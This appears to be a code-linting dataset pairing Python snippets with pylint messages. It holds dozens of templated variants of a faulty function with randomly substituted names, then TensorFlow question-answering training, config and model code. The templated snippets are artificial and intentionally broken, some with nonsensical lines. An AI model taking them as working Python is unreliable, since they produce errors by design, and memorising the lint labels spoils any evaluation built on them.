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1 datetime = 1
2
3 def foo():
4 global v
5 print(BaseClass)
6 BaseClass = 10
7 print(BaseClass)
8 val()
9 print(datetime)
| 5 - error: global-variable-undefined |
1 nearest_int = 1
2
3 def foo():
4 global v
5 print(fh)
6 fh = 10
7 print(fh)
8 v1()
9 print(nearest_int)
| 5 - error: global-variable-undefined |
1 np = 1
2
3 def foo():
4 global v
5 print(NANOSECONDS)
6 NANOSECONDS = 10
7 print(NANOSECONDS)
8 np()
9 print(np)
| 5 - error: global-variable-undefined |
1 skip = 1
2
3 def foo():
4 global v
5 print(start)
6 start = 10
7 print(start)
8 foo()
9 print(skip)
| 5 - error: global-variable-undefined |
1 na_rm = 1
2
3 def foo():
4 global v
5 print(v1)
6 v1 = 10
7 print(v1)
8 breaks_()
9 print(na_rm)
| 5 - error: global-variable-undefined |
1 nearest_int = 1
2
3 def foo():
4 global v
5 print(data)
6 data = 10
7 print(data)
8 i()
9 print(nearest_int)
| 5 - error: global-variable-undefined |
1 MSG = 1
2
3 def foo():
4 global v
5 print(log_format)
6 log_format = 10
7 print(log_format)
8 cdists()
9 print(MSG)
| 5 - error: global-variable-undefined |
1 cdists = 1
2
3 def foo():
4 global v
5 print(ABC)
6 ABC = 10
7 print(ABC)
8 v1_to_v2_map()
9 print(cdists)
| 5 - error: global-variable-undefined |
1 types = 1
2
3 def foo():
4 global v
5 print(transform)
6 transform = 10
7 print(transform)
8 trans()
9 print(types)
| 5 - error: global-variable-undefined |
1 nearest_int = 1
2
3 def foo():
4 global v
5 print(sys)
6 sys = 10
7 print(sys)
8 date_format()
9 print(nearest_int)
| 5 - error: global-variable-undefined |
1 k = 1
2
3 def foo():
4 global v
5 print(reduce)
6 reduce = 10
7 print(reduce)
8 x()
9 print(k)
| 5 - error: global-variable-undefined |
1 x = 1
2
3 def foo():
4 global v
5 print(d)
6 d = 10
7 print(d)
8 n()
9 print(x)
| 5 - error: global-variable-undefined |
1 nomatch = 1
2
3 def foo():
4 global v
5 print(probability_trans)
6 probability_trans = 10
7 print(probability_trans)
8 log_breaks()
9 print(nomatch)
| 5 - error: global-variable-undefined |
1 limits = 1
2
3 def foo():
4 global v
5 print(d)
6 d = 10
7 print(d)
8 sys()
9 print(limits)
| 5 - error: global-variable-undefined |
1 pd = 1
2
3 def foo():
4 global v
5 print(v)
6 v = 10
7 print(v)
8 i()
9 print(pd)
| 5 - error: global-variable-undefined |
1 c = 1
2
3 def foo():
4 global v
5 print(func)
6 func = 10
7 print(func)
8 dmin()
9 print(c)
| 5 - error: global-variable-undefined |
1 self = 1
2
3 def foo():
4 global v
5 print(incomparables)
6 incomparables = 10
7 print(incomparables)
8 SECONDS()
9 print(self)
| 5 - error: global-variable-undefined |
1 item = 1
2
3 def foo():
4 global v
5 print(Iterator)
6 Iterator = 10
7 print(Iterator)
8 OrderedDict()
9 print(item)
| 5 - error: global-variable-undefined |
1 log2_trans = 1
2
3 def foo():
4 global v
5 print(DISCRETE_KINDS)
6 DISCRETE_KINDS = 10
7 print(DISCRETE_KINDS)
8 Iterator()
9 print(log2_trans)
| 5 - error: global-variable-undefined |
1 num2date = 1
2
3 def foo():
4 global v
5 print(np)
6 np = 10
7 print(np)
8 name()
9 print(num2date)
| 5 - error: global-variable-undefined |
1 doc = 1
2
3 def foo():
4 global v
5 print(cdists)
6 cdists = 10
7 print(cdists)
8 aesthetic()
9 print(doc)
| 5 - error: global-variable-undefined |
1 BaseClass = 1
2
3 def foo():
4 global v
5 print(n)
6 n = 10
7 print(n)
8 msg()
9 print(BaseClass)
| 5 - error: global-variable-undefined |
1 log10_trans = 1
2
3 def foo():
4 global v
5 print(trans)
6 trans = 10
7 print(trans)
8 a()
9 print(log10_trans)
| 5 - error: global-variable-undefined |
1 probability_trans = 1
2
3 def foo():
4 global v
5 print(probability_trans)
6 probability_trans = 10
7 print(probability_trans)
8 BaseClass()
9 print(probability_trans)
| 5 - error: global-variable-undefined |
1 lru_cache = 1
2
3 def foo():
4 global v
5 print(ABC)
6 ABC = 10
7 print(ABC)
8 doc()
9 print(lru_cache)
| 5 - error: global-variable-undefined |
1 ABC = 1
2
3 def foo():
4 global v
5 print(tz)
6 tz = 10
7 print(tz)
8 ABC()
9 print(ABC)
| 5 - error: global-variable-undefined |
1 MethodType = 1
2
3 def foo():
4 global v
5 print(klass_name)
6 klass_name = 10
7 print(klass_name)
8 vmax()
9 print(MethodType)
| 5 - error: global-variable-undefined |
1 log10_trans = 1
2
3 def foo():
4 global v
5 print(name)
6 name = 10
7 print(name)
8 NANOSECONDS()
9 print(log10_trans)
| 5 - error: global-variable-undefined |
1 name = 1
2
3 def foo():
4 global v
5 print(aesthetic)
6 aesthetic = 10
7 print(aesthetic)
8 current_date()
9 print(name)
| 5 - error: global-variable-undefined |
1 import datetime
2
3 current_date: str = datetime.date.today().strftime("%y-%m-%d")
4 DISCRETE_KINDS = 1
5
6 def foo():
7 global v
8 print(pd)
9 pd = 10
10 print(pd)
11 num2date()
12 print(DISCRETE_KINDS)
13 import datetime
14 na_rm: str = i.date.today().strftime('%y-%m-%d')
| 8 - error: global-variable-undefined |
1 import datetime
2 na_rm: str = i.date.today().strftime('%y-%m-%d')
3 dataspace_is_numerical = 1
4
5 def foo():
6 global v
7 print(v1)
8 v1 = 10
9 print(v1)
10 obj()
11 print(dataspace_is_numerical)
12 import datetime
13 incomparables: str = skip.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 incomparables: str = skip.date.today().strftime('%y-%m-%d')
3 v1_to_v2_map = 1
4
5 def foo():
6 global v
7 print(bar)
8 bar = 10
9 print(bar)
10 y()
11 print(v1_to_v2_map)
12 import datetime
13 attr: str = minor_breaks.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 attr: str = minor_breaks.date.today().strftime('%y-%m-%d')
3 incomparables = 1
4
5 def foo():
6 global v
7 print(func)
8 func = 10
9 print(func)
10 n()
11 print(incomparables)
12 import datetime
13 inverse: str = OrderedDict.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 inverse: str = OrderedDict.date.today().strftime('%y-%m-%d')
3 minor_breaks = 1
4
5 def foo():
6 global v
7 print(timedelta_format)
8 timedelta_format = 10
9 print(timedelta_format)
10 mpl_format()
11 print(minor_breaks)
12 import datetime
13 obj: str = d.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 obj: str = d.date.today().strftime('%y-%m-%d')
3 NANOSECONDS = 1
4
5 def foo():
6 global v
7 print(_x)
8 _x = 10
9 print(_x)
10 name()
11 print(NANOSECONDS)
12 import datetime
13 probability_trans: str = obj.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 probability_trans: str = obj.date.today().strftime('%y-%m-%d')
3 f = 1
4
5 def foo():
6 global v
7 print(value)
8 value = 10
9 print(value)
10 datetime()
11 print(f)
12 import datetime
13 v2: str = args.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 v2: str = args.date.today().strftime('%y-%m-%d')
3 contents = 1
4
5 def foo():
6 global v
7 print(item)
8 item = 10
9 print(item)
10 t()
11 print(contents)
12 import datetime
13 log10_trans: str = incomparables.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 log10_trans: str = incomparables.date.today().strftime('%y-%m-%d')
3 doc = 1
4
5 def foo():
6 global v
7 print(nearest_int)
8 nearest_int = 10
9 print(nearest_int)
10 i()
11 print(doc)
12 import datetime
13 na_rm: str = doc.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 na_rm: str = doc.date.today().strftime('%y-%m-%d')
3 _get = 1
4
5 def foo():
6 global v
7 print(t)
8 t = 10
9 print(t)
10 ABC()
11 print(_get)
12 import datetime
13 v1: str = log_format.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 v1: str = log_format.date.today().strftime('%y-%m-%d')
3 accuracy = 1
4
5 def foo():
6 global v
7 print(i)
8 i = 10
9 print(i)
10 breaks_()
11 print(accuracy)
12 import datetime
13 v2: str = c.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 v2: str = c.date.today().strftime('%y-%m-%d')
3 MethodType = 1
4
5 def foo():
6 global v
7 print(self)
8 self = 10
9 print(self)
10 nearest_int()
11 print(MethodType)
12 import datetime
13 func: str = v1.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 func: str = v1.date.today().strftime('%y-%m-%d')
3 v1_to_v2_map = 1
4
5 def foo():
6 global v
7 print(na_rm)
8 na_rm = 10
9 print(na_rm)
10 x()
11 print(v1_to_v2_map)
12 import datetime
13 v: str = contents.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 v: str = contents.date.today().strftime('%y-%m-%d')
3 trans = 1
4
5 def foo():
6 global v
7 print(log_trans)
8 log_trans = 10
9 print(log_trans)
10 probit_trans()
11 print(trans)
12 import datetime
13 c: str = transform.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1 import datetime
2 c: str = transform.date.today().strftime('%y-%m-%d')
3 y = 1
4
5 def foo():
6 global v
7 print(log_format)
8 log_format = 10
9 print(log_format)
10 v2()
11 print(y)
12 import datetime
13 reduce: str = BaseClass.date.today().strftime('%y-%m-%d')
| 7 - error: global-variable-undefined |
1
2 import data_helper
3 import time
4 import datetime
5 import os
6 import tensorflow as tf
7
8 import numpy as np
9 import evaluation
10 now = int(time.time())
11
12 timeArray = time.localtime(now)
13 timeStamp = time.strftime("%Y%m%d%H%M%S", timeArray)
14 timeDay = time.strftime("%Y%m%d", timeArray)
15 print (timeStamp)
16
17 def main(args):
18 args._parse_flags()
19 print("\nParameters:")
20 for attr, value in sorted(args.__flags.items()):
21 print(("{}={}".format(attr.upper(), value)))
22 log_dir = 'log/'+ timeDay
23 if not os.path.exists(log_dir):
24 os.makedirs(log_dir)
25 data_file = log_dir + '/test_' + args.data + timeStamp
26 precision = data_file + 'precise'
27 print('load data ...........')
28 train,test,dev = data_helper.load(args.data,filter = args.clean)
29
30 q_max_sent_length = max(map(lambda x:len(x),train['question'].str.split()))
31 a_max_sent_length = max(map(lambda x:len(x),train['answer'].str.split()))
32
33 alphabet = data_helper.get_alphabet([train,test,dev])
34 print('the number of words',len(alphabet))
35
36 print('get embedding')
37 if args.data=="quora":
38 embedding = data_helper.get_embedding(alphabet,language="cn")
39 else:
40 embedding = data_helper.get_embedding(alphabet)
41
42
43
44 with tf.Graph().as_default(), tf.device("/gpu:" + str(args.gpu)):
45 # with tf.device("/cpu:0"):
46 session_conf = tf.ConfigProto()
47 session_conf.allow_soft_placement = args.allow_soft_placement
48 session_conf.log_device_placement = args.log_device_placement
49 session_conf.gpu_options.allow_growth = True
50 sess = tf.Session(config=session_conf)
51
52 model = QA_CNN_extend(max_input_left = q_max_sent_length,
53 max_input_right = a_max_sent_length,
54 batch_size = args.batch_size,
55 vocab_size = len(alphabet),
56 embedding_size = args.embedding_dim,
57 filter_sizes = list(map(int, args.filter_sizes.split(","))),
58 num_filters = args.num_filters,
59 hidden_size = args.hidden_size,
60 dropout_keep_prob = args.dropout_keep_prob,
61 embeddings = embedding,
62 l2_reg_lambda = args.l2_reg_lambda,
63 trainable = args.trainable,
64 pooling = args.pooling,
65 conv = args.conv)
66
67 model.build_graph()
68
69 sess.run(tf.global_variables_initializer())
70 def train_step(model,sess,batch):
71 for data in batch:
72 feed_dict = {
73 model.question:data[0],
74 model.answer:data[1],
75 model.answer_negative:data[2],
76 model.q_mask:data[3],
77 model.a_mask:data[4],
78 model.a_neg_mask:data[5]
79
80 }
81 _, summary, step, loss, accuracy,score12, score13, see = sess.run(
82 [model.train_op, model.merged,model.global_step,model.loss, model.accuracy,model.score12,model.score13, model.see],
83 feed_dict)
84 time_str = datetime.datetime.now().isoformat()
85 print("{}: step {}, loss {:g}, acc {:g} ,positive {:g},negative {:g}".format(time_str, step, loss, accuracy,np.mean(score12),np.mean(score13)))
86 def predict(model,sess,batch,test):
87 scores = []
88 for data in batch:
89 feed_dict = {
90 model.question:data[0],
91 model.answer:data[1],
92 model.q_mask:data[2],
93 model.a_mask:data[3]
94
95 }
96 score = sess.run(
97 model.score12,
98 feed_dict)
99 scores.extend(score)
100
101 return np.array(scores[:len(test)])
102
103
104
105
106
107 for i in range(args.num_epoches):
108 datas = data_helper.get_mini_batch(train,alphabet,args.batch_size)
109 train_step(model,sess,datas)
110 test_datas = data_helper.get_mini_batch_test(test,alphabet,args.batch_size)
111
112 predicted_test = predict(model,sess,test_datas,test)
113 print(len(predicted_test))
114 print(len(test))
115 map_mrr_test = evaluation.evaluationBypandas(test,predicted_test)
116
117 print('map_mrr test',map_mrr_test)
118
119
120
121
122
123
124
125
126
| 17 - refactor: too-many-locals
18 - warning: protected-access
20 - warning: protected-access
30 - warning: unnecessary-lambda
31 - warning: unnecessary-lambda
52 - error: undefined-variable
81 - warning: unused-variable
81 - warning: unused-variable
26 - warning: unused-variable
107 - warning: unused-variable
|
1 class Singleton(object):
2 __instance=None
3 def __init__(self):
4 pass
5 def getInstance(self):
6 if Singleton.__instance is None:
7 # Singleton.__instance=object.__new__(cls,*args,**kwd)
8 Singleton.__instance=self.get_test_flag()
9 print("build FLAGS over")
10 return Singleton.__instance
11 def get_test_flag(self):
12 import tensorflow as tf
13 flags = tf.app.flags
14 if len(flags.FLAGS.__dict__.keys())<=2:
15
16 flags.DEFINE_integer("embedding_size",300, "Dimensionality of character embedding (default: 128)")
17 flags.DEFINE_string("filter_sizes", "1,2,3,5", "Comma-separated filter sizes (default: '3,4,5')")
18 flags.DEFINE_integer("num_filters", 64, "Number of filters per filter size (default: 128)")
19 flags.DEFINE_float("dropout_keep_prob", 1, "Dropout keep probability (default: 0.5)")
20 flags.DEFINE_float("l2_reg_lambda", 0.000001, "L2 regularizaion lambda (default: 0.0)")
21 flags.DEFINE_float("learning_rate", 5e-3, "learn rate( default: 0.0)")
22 flags.DEFINE_integer("max_len_left", 40, "max document length of left input")
23 flags.DEFINE_integer("max_len_right", 40, "max document length of right input")
24 flags.DEFINE_string("loss","pair_wise","loss function (default:point_wise)")
25 flags.DEFINE_integer("hidden_size",100,"the default hidden size")
26 flags.DEFINE_string("model_name", "cnn", "cnn or rnn")
27
28 # Training parameters
29 flags.DEFINE_integer("batch_size", 64, "Batch Size (default: 64)")
30 flags.DEFINE_boolean("trainable", False, "is embedding trainable? (default: False)")
31 flags.DEFINE_integer("num_epoches", 1000, "Number of training epochs (default: 200)")
32 flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
33 flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
34
35 flags.DEFINE_string('data','wiki','data set')
36 flags.DEFINE_string('pooling','max','max pooling or attentive pooling')
37 flags.DEFINE_boolean('clean',True,'whether we clean the data')
38 flags.DEFINE_string('conv','wide','wide conv or narrow')
39 flags.DEFINE_integer('gpu',0,'gpu number')
40 # Misc Parameters
41 flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
42 flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
43 return flags.FLAGS
44 def get_rnn_flag(self):
45 import tensorflow as tf
46 flags = tf.app.flags
47 if len(flags.FLAGS.__dict__.keys())<=2:
48
49 flags.DEFINE_integer("embedding_size",300, "Dimensionality of character embedding (default: 128)")
50 flags.DEFINE_string("filter_sizes", "1,2,3,5", "Comma-separated filter sizes (default: '3,4,5')")
51 flags.DEFINE_integer("num_filters", 64, "Number of filters per filter size (default: 128)")
52 flags.DEFINE_float("dropout_keep_prob", 1, "Dropout keep probability (default: 0.5)")
53 flags.DEFINE_float("l2_reg_lambda", 0.000001, "L2 regularizaion lambda (default: 0.0)")
54 flags.DEFINE_float("learning_rate", 0.001, "learn rate( default: 0.0)")
55 flags.DEFINE_integer("max_len_left", 40, "max document length of left input")
56 flags.DEFINE_integer("max_len_right", 40, "max document length of right input")
57 flags.DEFINE_string("loss","pair_wise","loss function (default:point_wise)")
58 flags.DEFINE_integer("hidden_size",100,"the default hidden size")
59 flags.DEFINE_string("model_name", "rnn", "cnn or rnn")
60
61 # Training parameters
62 flags.DEFINE_integer("batch_size", 64, "Batch Size (default: 64)")
63 flags.DEFINE_boolean("trainable", False, "is embedding trainable? (default: False)")
64 flags.DEFINE_integer("num_epoches", 1000, "Number of training epochs (default: 200)")
65 flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
66 flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
67
68
69 # flags.DEFINE_string('data','8008','data set')
70
71 flags.DEFINE_string('data','trec','data set')
72
73 flags.DEFINE_string('pooling','max','max pooling or attentive pooling')
74 flags.DEFINE_boolean('clean',False,'whether we clean the data')
75 flags.DEFINE_string('conv','wide','wide conv or narrow')
76 flags.DEFINE_integer('gpu',0,'gpu number')
77 # Misc Parameters
78 flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
79 flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
80 return flags.FLAGS
81 def get_cnn_flag(self):
82 import tensorflow as tf
83 flags = tf.app.flags
84 if len(flags.FLAGS.__dict__.keys())<=2:
85
86 flags.DEFINE_integer("embedding_size",300, "Dimensionality of character embedding (default: 128)")
87 flags.DEFINE_string("filter_sizes", "1,2,3,5", "Comma-separated filter sizes (default: '3,4,5')")
88 flags.DEFINE_integer("num_filters", 64, "Number of filters per filter size (default: 128)")
89 flags.DEFINE_float("dropout_keep_prob", 0.8, "Dropout keep probability (default: 0.5)")
90 flags.DEFINE_float("l2_reg_lambda", 0.000001, "L2 regularizaion lambda (default: 0.0)")
91 flags.DEFINE_float("learning_rate", 5e-3, "learn rate( default: 0.0)")
92 flags.DEFINE_integer("max_len_left", 40, "max document length of left input")
93 flags.DEFINE_integer("max_len_right", 40, "max document length of right input")
94 flags.DEFINE_string("loss","pair_wise","loss function (default:point_wise)")
95 flags.DEFINE_integer("hidden_size",100,"the default hidden size")
96 flags.DEFINE_string("model_name", "cnn", "cnn or rnn")
97
98 # Training parameters
99 flags.DEFINE_integer("batch_size", 64, "Batch Size (default: 64)")
100 flags.DEFINE_boolean("trainable", False, "is embedding trainable? (default: False)")
101 flags.DEFINE_integer("num_epoches", 1000, "Number of training epochs (default: 200)")
102 flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
103 flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
104
105 flags.DEFINE_string('data','wiki','data set')
106 flags.DEFINE_string('pooling','max','max pooling or attentive pooling')
107 flags.DEFINE_boolean('clean',True,'whether we clean the data')
108 flags.DEFINE_string('conv','wide','wide conv or narrow')
109 flags.DEFINE_integer('gpu',0,'gpu number')
110 # Misc Parameters
111 flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
112 flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
113 return flags.FLAGS
114
115
116 def get_qcnn_flag(self):
117
118 import tensorflow as tf
119 flags = tf.app.flags
120 if len(flags.FLAGS.__dict__.keys())<=2:
121
122
123 flags.DEFINE_integer("embedding_size",300, "Dimensionality of character embedding (default: 128)")
124 flags.DEFINE_string("filter_sizes", "1,2,3,5", "Comma-separated filter sizes (default: '3,4,5')")
125 flags.DEFINE_integer("num_filters", 128, "Number of filters per filter size (default: 128)")
126 flags.DEFINE_float("dropout_keep_prob", 0.8, "Dropout keep probability (default: 0.5)")
127 flags.DEFINE_float("l2_reg_lambda", 0.000001, "L2 regularizaion lambda (default: 0.0)")
128 flags.DEFINE_float("learning_rate", 0.001, "learn rate( default: 0.0)")
129
130 flags.DEFINE_integer("max_len_left", 40, "max document length of left input")
131 flags.DEFINE_integer("max_len_right", 40, "max document length of right input")
132 flags.DEFINE_string("loss","pair_wise","loss function (default:point_wise)")
133 flags.DEFINE_integer("hidden_size",100,"the default hidden size")
134
135 flags.DEFINE_string("model_name", "qcnn", "cnn or rnn")
136
137
138 # Training parameters
139 flags.DEFINE_integer("batch_size", 64, "Batch Size (default: 64)")
140 flags.DEFINE_boolean("trainable", False, "is embedding trainable? (default: False)")
141 flags.DEFINE_integer("num_epoches", 1000, "Number of training epochs (default: 200)")
142 flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
143 flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
144
145
146 flags.DEFINE_string('data','wiki','data set')
147 flags.DEFINE_string('pooling','mean','max pooling or attentive pooling')
148
149 flags.DEFINE_boolean('clean',True,'whether we clean the data')
150 flags.DEFINE_string('conv','wide','wide conv or narrow')
151 flags.DEFINE_integer('gpu',0,'gpu number')
152 # Misc Parameters
153 flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
154 flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
155 return flags.FLAGS
156
157 def get_8008_flag(self):
158 import tensorflow as tf
159 flags = tf.app.flags
160 if len(flags.FLAGS.__dict__.keys())<=2:
161
162 flags.DEFINE_integer("embedding_size",200, "Dimensionality of character embedding (default: 128)")
163 flags.DEFINE_string("filter_sizes", "1,2,3,5", "Comma-separated filter sizes (default: '3,4,5')")
164 flags.DEFINE_integer("num_filters", 64, "Number of filters per filter size (default: 128)")
165 flags.DEFINE_float("dropout_keep_prob", 0.8, "Dropout keep probability (default: 0.5)")
166 flags.DEFINE_float("l2_reg_lambda", 0.000001, "L2 regularizaion lambda (default: 0.0)")
167 flags.DEFINE_float("learning_rate", 1e-3, "learn rate( default: 0.0)")
168 flags.DEFINE_integer("max_len_left", 40, "max document length of left input")
169 flags.DEFINE_integer("max_len_right", 40, "max document length of right input")
170 flags.DEFINE_string("loss","pair_wise","loss function (default:point_wise)")
171 flags.DEFINE_integer("hidden_size",100,"the default hidden size")
172 flags.DEFINE_string("model_name", "rnn", "cnn or rnn")
173
174 # Training parameters
175 flags.DEFINE_integer("batch_size", 250, "Batch Size (default: 64)")
176 flags.DEFINE_boolean("trainable", False, "is embedding trainable? (default: False)")
177 flags.DEFINE_integer("num_epoches", 1000, "Number of training epochs (default: 200)")
178 flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
179 flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
180
181 flags.DEFINE_string('data','8008','data set')
182 flags.DEFINE_string('pooling','max','max pooling or attentive pooling')
183 flags.DEFINE_boolean('clean',False,'whether we clean the data')
184 flags.DEFINE_string('conv','wide','wide conv or narrow')
185 flags.DEFINE_integer('gpu',0,'gpu number')
186 # Misc Parameters
187 flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
188 flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
189 return flags.FLAGS
190
191
192
193
194 if __name__=="__main__":
195 args=Singleton().get_test_flag()
196 for attr, value in sorted(args.__flags.items()):
197 print(("{}={}".format(attr.upper(), value)))
198 | 1 - refactor: useless-object-inheritance
196 - warning: protected-access
|
1 # -*- coding: utf-8 -*-
2
3 from tensorflow import flags
4 import tensorflow as tf
5 from config import Singleton
6 import data_helper
7
8 import datetime
9 import os
10 import models
11 import numpy as np
12 import evaluation
13
14 from data_helper import log_time_delta,getLogger
15
16 logger=getLogger()
17
18
19
20 args = Singleton().get_rnn_flag()
21 #args = Singleton().get_8008_flag()
22
23 args._parse_flags()
24 opts=dict()
25 logger.info("\nParameters:")
26 for attr, value in sorted(args.__flags.items()):
27 logger.info(("{}={}".format(attr.upper(), value)))
28 opts[attr]=value
29
30
31 train,test,dev = data_helper.load(args.data,filter = args.clean)
32
33 q_max_sent_length = max(map(lambda x:len(x),train['question'].str.split()))
34 a_max_sent_length = max(map(lambda x:len(x),train['answer'].str.split()))
35
36 alphabet = data_helper.get_alphabet([train,test,dev],dataset=args.data )
37 logger.info('the number of words :%d '%len(alphabet))
38
39 if args.data=="quora" or args.data=="8008" :
40 print("cn embedding")
41 embedding = data_helper.get_embedding(alphabet,dim=200,language="cn",dataset=args.data )
42 train_data_loader = data_helper.getBatch48008
43 else:
44 embedding = data_helper.get_embedding(alphabet,dim=300,dataset=args.data )
45 train_data_loader = data_helper.get_mini_batch
46 opts["embeddings"] =embedding
47 opts["vocab_size"]=len(alphabet)
48 opts["max_input_right"]=a_max_sent_length
49 opts["max_input_left"]=q_max_sent_length
50 opts["filter_sizes"]=list(map(int, args.filter_sizes.split(",")))
51
52 print("innitilize over")
53
54
55
56
57 #with tf.Graph().as_default(), tf.device("/gpu:" + str(args.gpu)):
58 with tf.Graph().as_default():
59 # with tf.device("/cpu:0"):
60 session_conf = tf.ConfigProto()
61 session_conf.allow_soft_placement = args.allow_soft_placement
62 session_conf.log_device_placement = args.log_device_placement
63 session_conf.gpu_options.allow_growth = True
64 sess = tf.Session(config=session_conf)
65 model=models.setup(opts)
66 model.build_graph()
67 saver = tf.train.Saver()
68 sess.run(tf.global_variables_initializer()) # fun first than print or save
69
70
71 ckpt = tf.train.get_checkpoint_state("checkpoint")
72 if ckpt and ckpt.model_checkpoint_path:
73 # Restores from checkpoint
74 saver.restore(sess, ckpt.model_checkpoint_path)
75 print(sess.run(model.position_embedding)[0])
76 if os.path.exists("model") :
77 import shutil
78 shutil.rmtree("model")
79 builder = tf.saved_model.builder.SavedModelBuilder("./model")
80 builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING])
81 builder.save(True)
82 variable_averages = tf.train.ExponentialMovingAverage( model)
83 variables_to_restore = variable_averages.variables_to_restore()
84 saver = tf.train.Saver(variables_to_restore)
85 for name in variables_to_restore:
86 print(name)
87
88 @log_time_delta
89 def predict(model,sess,batch,test):
90 scores = []
91 for data in batch:
92 score = model.predict(sess,data)
93 scores.extend(score)
94 return np.array(scores[:len(test)])
95
96
97 text = "怎么 提取 公积金 ？"
98
99 splited_text=data_helper.encode_to_split(text,alphabet)
100
101 mb_q,mb_q_mask = data_helper.prepare_data([splited_text])
102 mb_a,mb_a_mask = data_helper.prepare_data([splited_text])
103
104 data = (mb_q,mb_a,mb_q_mask,mb_a_mask)
105 score = model.predict(sess,data)
106 print(score)
107 feed_dict = {
108 model.question:data[0],
109 model.answer:data[1],
110 model.q_mask:data[2],
111 model.a_mask:data[3],
112 model.dropout_keep_prob_holder:1.0
113 }
114 sess.run(model.position_embedding,feed_dict=feed_dict)[0]
115
116
117 | 23 - warning: protected-access
24 - refactor: use-dict-literal
26 - warning: protected-access
33 - warning: unnecessary-lambda
34 - warning: unnecessary-lambda
39 - refactor: consider-using-in
89 - warning: redefined-outer-name
89 - warning: redefined-outer-name
89 - warning: redefined-outer-name
91 - warning: redefined-outer-name
92 - warning: redefined-outer-name
114 - warning: expression-not-assigned
3 - warning: unused-import
8 - warning: unused-import
12 - warning: unused-import
|
1 from .QA_CNN_pairwise import QA_CNN_extend as CNN
2 from .QA_RNN_pairwise import QA_RNN_extend as RNN
3 from .QA_CNN_quantum_pairwise import QA_CNN_extend as QCNN
4 def setup(opt):
5 if opt["model_name"]=="cnn":
6 model=CNN(opt)
7 elif opt["model_name"]=="rnn":
8 model=RNN(opt)
9 elif opt['model_name']=='qcnn':
10 model=QCNN(opt)
11 else:
12 print("no model")
13 exit(0)
14 return model
| 5 - warning: bad-indentation
6 - warning: bad-indentation
7 - warning: bad-indentation
8 - warning: bad-indentation
9 - warning: bad-indentation
10 - warning: bad-indentation
11 - warning: bad-indentation
12 - warning: bad-indentation
13 - warning: bad-indentation
14 - warning: bad-indentation
1 - error: relative-beyond-top-level
2 - error: relative-beyond-top-level
3 - error: relative-beyond-top-level
13 - refactor: consider-using-sys-exit
|
1 from my.general import flatten, reconstruct, add_wd, exp_mask
2
3 import numpy as np
4 import tensorflow as tf
5
6 _BIAS_VARIABLE_NAME = "bias"
7 _WEIGHTS_VARIABLE_NAME = "kernel"
8
9
10
11 def linear(args, output_size, bias, bias_start=0.0, scope=None, squeeze=False, wd=0.0, input_keep_prob=1.0,
12 is_train=None):#, name_w='', name_b=''
13 # if args is None or (nest.is_sequence(args) and not args):
14 # raise ValueError("`args` must be specified")
15 # if not nest.is_sequence(args):
16 # args = [args]
17
18 flat_args = [flatten(arg, 1) for arg in args]#[210,20]
19
20 # if input_keep_prob < 1.0:
21 # assert is_train is not None
22 flat_args = [tf.nn.dropout(arg, input_keep_prob) for arg in flat_args]
23
24 total_arg_size = 0#[60]
25 shapes = [a.get_shape() for a in flat_args]
26 for shape in shapes:
27 if shape.ndims != 2:
28 raise ValueError("linear is expecting 2D arguments: %s" % shapes)
29 if shape[1].value is None:
30 raise ValueError("linear expects shape[1] to be provided for shape %s, "
31 "but saw %s" % (shape, shape[1]))
32 else:
33 total_arg_size += shape[1].value
34 # print(total_arg_size)
35 # exit()
36 dtype = [a.dtype for a in flat_args][0]
37
38 # scope = tf.get_variable_scope()
39 with tf.variable_scope(scope) as outer_scope:
40 weights = tf.get_variable(_WEIGHTS_VARIABLE_NAME, [total_arg_size, output_size], dtype=dtype)
41 if len(flat_args) == 1:
42 res = tf.matmul(flat_args[0], weights)
43 else:
44 res = tf.matmul(tf.concat(flat_args, 1), weights)
45 if not bias:
46 flat_out = res
47 else:
48 with tf.variable_scope(outer_scope) as inner_scope:
49 inner_scope.set_partitioner(None)
50 biases = tf.get_variable(
51 _BIAS_VARIABLE_NAME, [output_size],
52 dtype=dtype,
53 initializer=tf.constant_initializer(bias_start, dtype=dtype))
54 flat_out = tf.nn.bias_add(res, biases)
55
